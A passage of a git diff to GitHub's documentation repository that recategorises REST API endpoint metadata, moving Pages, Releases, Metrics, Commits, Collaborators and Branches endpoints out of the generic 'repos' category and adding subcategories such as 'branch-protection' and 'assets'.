     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -71312,10 +72653,8 @@
       "subcategory": "pages"
     },
     "slug": "get-github-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -71381,10 +72720,8 @@
       "subcategory": "pages"
     },
     "slug": "get-a-dns-health-check-for-github-pages",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Gets a health check of the DNS settings for the <code>CNAME</code> record configured for a repository's GitHub Pages.</p>\n<p>The first request to this endpoint returns a <code>202 Accepted</code> status and starts an asynchronous background task to get the results for the domain. After the background task completes, subsequent requests to this endpoint return a <code>200 OK</code> status with the health check results in the response.</p>\n<p>Users must have admin or owner permissions. GitHub Apps must have the <code>pages:write</code> and <code>administration:write</code> permission to use this endpoint.</p>",
@@ -76546,10 +77883,8 @@
       "subcategory": "releases"
     },
     "slug": "list-releases",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>This returns a list of releases, which does not include regular Git tags that have not been associated with a release. To get a list of Git tags, use the <a href=\"https://docs.github.com/rest/reference/repos#list-repository-tags\">Repository Tags API</a>.</p>\n<p>Information about published releases are available to everyone. Only users with push access will receive listings for draft releases.</p>",
@@ -76720,10 +78055,8 @@
       "subcategory": "releases"
     },
     "slug": "create-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can create a release.</p>\n<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>",
@@ -76886,10 +78219,10 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>To download the asset's binary content, set the <code>Accept</code> header of the request to <a href=\"https://docs.github.com/rest/overview/media-types\"><code>application/octet-stream</code></a>. The API will either redirect the client to the location, or stream it directly if possible. API clients should handle both a <code>200</code> or <code>302</code> response.</p>",
@@ -77023,10 +78356,10 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release asset.</p>",
@@ -77131,10 +78464,10 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -77256,10 +78589,8 @@
       "subcategory": "releases"
     },
     "slug": "generate-release-notes-content-for-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Generate a name and body describing a <a href=\"https://docs.github.com/rest/reference/repos#releases\">release</a>. The body content will be markdown formatted and contain information like the changes since last release and users who contributed. The generated release notes are not saved anywhere. They are intended to be generated and used when creating a new release.</p>",
@@ -77368,10 +78699,8 @@
       "subcategory": "releases"
     },
     "slug": "get-the-latest-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>View the latest published full release for the repository.</p>\n<p>The latest release is the most recent non-prerelease, non-draft release, sorted by the <code>created_at</code> attribute. The <code>created_at</code> attribute is the date of the commit used for the release, and not the date when the release was drafted or published.</p>",
@@ -77448,10 +78777,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-by-tag-name",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Get a published release with the specified tag.</p>",
@@ -77532,10 +78859,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Note:</strong> This returns an <code>upload_url</code> key corresponding to the endpoint for uploading release assets. This key is a <a href=\"https://docs.github.com/rest/overview/resources-in-the-rest-api#hypermedia\">hypermedia resource</a>.</p>",
@@ -77699,10 +79024,8 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release.</p>",
@@ -77848,10 +79171,8 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "responses": [
       {
@@ -77946,10 +79267,10 @@
       "subcategory": "releases"
     },
     "slug": "list-release-assets",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -78064,10 +79385,10 @@
       "subcategory": "releases"
     },
     "slug": "upload-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "*/*",
     "notes": [],
     "bodyParameters": [],
@@ -78889,8 +80210,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -78968,8 +80289,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-last-year-of-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -79047,8 +80368,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-all-contributor-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -79126,8 +80447,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-count",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -79200,8 +80521,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-hourly-commit-count-for-each-day",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -79348,8 +80669,8 @@
       "subcategory": "statuses"
     },
     "slug": "create-a-commit-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "contentType": "application/json",
@@ -80302,8 +81623,8 @@
       "subcategory": "traffic"
     },
     "slug": "get-repository-clones",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "traffic",
     "subcategoryLabel": "Traffic",
     "notes": [],
@@ -80376,8 +81697,8 @@
       "subcategory": "traffic"
     },
     "slug": "get-top-referral-paths",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "traffic",
     "subcategoryLabel": "Traffic",
     "notes": [],
@@ -80450,8 +81771,8 @@
       "subcategory": "traffic"
     },
     "slug": "get-top-referral-sources",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "traffic",
     "subcategoryLabel": "Traffic",
     "notes": [],
@@ -80540,8 +81861,8 @@
       "subcategory": "traffic"
     },
     "slug": "get-page-views",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "traffic",
     "subcategoryLabel": "Traffic",
     "notes": [],
@@ -98552,8 +99873,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations-for-the-authenticated-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -98633,8 +99954,8 @@
       "subcategory": "invitations"
     },
     "slug": "accept-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -98713,8 +100034,8 @@
       "subcategory": "invitations"
     },
     "slug": "decline-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
diff --git a/lib/rest/static/decorated/ghes-3.0.json b/lib/rest/static/decorated/ghes-3.0.json
index 6987f9c482..b796b67e55 100644
--- a/lib/rest/static/decorated/ghes-3.0.json
+++ b/lib/rest/static/decorated/ghes-3.0.json
@@ -35832,10 +35832,8 @@
       "subcategory": "branches"
     },
     "slug": "list-branches",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -35917,10 +35915,8 @@
       "subcategory": "branches"
     },
     "slug": "get-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -36018,10 +36014,10 @@
       ]
     },
     "slug": "get-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -36782,10 +36778,10 @@
       ]
     },
     "slug": "update-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -37487,10 +37483,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -37571,10 +37567,10 @@
       "subcategory": "branches"
     },
     "slug": "get-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -37651,10 +37647,10 @@
       "subcategory": "branches"
     },
     "slug": "set-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Adding admin enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -37731,10 +37727,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -37822,10 +37818,10 @@
       ]
     },
     "slug": "get-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -38036,10 +38032,10 @@
       ]
     },
     "slug": "update-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating pull request review enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>\n<p><strong>Note</strong>: Passing new arrays of <code>users</code> and <code>teams</code> replaces their previous values.</p>",
@@ -38217,10 +38213,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -38308,10 +38304,10 @@
       ]
     },
     "slug": "get-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to check whether a branch requires signed commits. An enabled status of <code>true</code> indicates you must sign commits on this branch. For more information, see <a href=\"https://help.github.com/articles/signing-commits-with-gpg\">Signing commits with GPG</a> in GitHub Help.</p>\n<p><strong>Note</strong>: You must enable branch protection to require signed commits.</p>",
@@ -38400,10 +38396,10 @@
       ]
     },
     "slug": "create-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to require signed commits on a branch. You must enable branch protection to require signed commits.</p>",
@@ -38492,10 +38488,10 @@
       ]
     },
     "slug": "delete-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -38576,10 +38572,10 @@
       "subcategory": "branches"
     },
     "slug": "get-status-checks-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -38701,10 +38697,10 @@
       "subcategory": "branches"
     },
     "slug": "update-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating required status checks requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -38815,10 +38811,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -38894,10 +38890,10 @@
       "subcategory": "branches"
     },
     "slug": "get-all-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39023,10 +39019,10 @@
       "subcategory": "branches"
     },
     "slug": "add-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39176,10 +39172,10 @@
       "subcategory": "branches"
     },
     "slug": "set-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39323,10 +39319,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39427,10 +39423,10 @@
       "subcategory": "branches"
     },
     "slug": "get-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists who has access to this protected branch.</p>\n<p><strong>Note</strong>: Users, apps, and teams <code>restrictions</code> are only available for organization-owned repositories.</p>",
@@ -39512,10 +39508,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39591,10 +39587,10 @@
       "subcategory": "branches"
     },
     "slug": "get-apps-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the GitHub Apps that have push access to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>",
@@ -39719,10 +39715,10 @@
       "subcategory": "branches"
     },
     "slug": "add-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified apps push access for this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -39861,10 +39857,10 @@
       "subcategory": "branches"
     },
     "slug": "set-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of apps that have push access to this branch. This removes all apps that previously had push access and grants push access to the new list of apps. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40002,10 +39998,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of an app to push to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40101,10 +40097,10 @@
       "subcategory": "branches"
     },
     "slug": "get-teams-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
